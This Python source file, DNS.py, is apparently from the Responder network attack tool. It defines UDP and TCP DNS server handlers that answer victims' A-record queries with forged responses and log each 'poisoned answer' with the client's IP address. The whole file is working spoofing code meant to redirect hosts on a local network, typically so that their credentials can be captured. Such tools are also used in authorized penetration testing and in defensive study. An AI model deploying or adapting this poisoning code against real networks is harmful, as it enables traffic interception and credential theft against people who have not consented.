Responder/servers/DNS.py
2016-07-05 01:31:35 +02:00

68 lines
No EOL
2.2 KiB
Python

#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from packets import DNS_Ans
from SocketServer import BaseRequestHandler
from utils import *
def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:]
# If Type A, Class IN, then answer.
return QueryTypeClass == "\x00\x01\x00\x01"
class DNS(BaseRequestHandler):
def handle(self):
# Break out if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True:
return None
try:
data, soc = self.request
if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
buff = DNS_Ans()
buff.calculate(data)
soc.sendto(str(buff), self.client_address)
ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
except Exception:
pass
# DNS Server TCP Class
class DNSTCP(BaseRequestHandler):
def handle(self):
# Break out if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True:
return None
try:
data = self.request.recv(1024)
if ParseDNSType(data) and settings.Config.AnalyzeMode is False:
buff = DNS_Ans()
buff.calculate(data)
self.request.send(str(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
except Exception:
pass